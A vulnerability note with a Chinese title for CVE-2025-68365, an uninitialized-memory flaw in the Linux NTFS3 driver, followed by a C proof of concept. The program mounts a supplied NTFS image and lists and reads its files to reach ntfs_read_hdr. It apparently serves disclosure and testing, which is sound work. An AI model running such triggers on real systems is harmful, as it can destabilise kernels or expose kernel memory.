CVE-2025-68365 Linux内核NTFS3文件系统未初始化内存漏洞

// CVE-2025-68365 PoC - Trigger uninitialized memory in NTFS3 ntfs_read_hdr // This PoC demonstrates the vulnerability by mounting a crafted NTFS image // Requires: Linux kernel with NTFS3 support enabled #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> #include <errno.h> /* * To trigger this vulnerability: * 1. Build kernel with KMSAN enabled * 2. Create a malicious NTFS filesystem image * 3. Mount it using NTFS3 driver * 4. Trigger ntfs_read_hdr() by reading directory entries * * The vulnerability occurs because: * - __getname() allocates memory via kmem_cache_alloc() * - This memory is used before being zeroed * - kmsan reports uninit-value in ntfs_read_hdr and bcmp */ int trigger_ntfs3_vulnerability(const char *ntfs_image_path) { const char *mount_point = "/tmp/ntfs_test_mount"; int ret; // Create mount point mkdir(mount_point, 0755); // Mount NTFS image using NTFS3 driver // This will trigger ntfs_read_hdr() when reading directory entries ret = mount(ntfs_image_path, mount_point, "ntfs3", 0, NULL); if (ret != 0) { fprintf(stderr, "Mount failed: %s\n", strerror(errno)); return -1; } // Trigger directory listing which calls ntfs_read_hdr system("ls -la /tmp/ntfs_test_mount/"); // Read files to trigger more ntfs_read_hdr calls system("find /tmp/ntfs_test_mount -type f -exec cat {} \; 2>/dev/null"); // Unmount umount(mount_point); rmdir(mount_point); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <ntfs_image_path>\n", argv[0]); return 1; } return trigger_ntfs3_vulnerability(argv[1]); }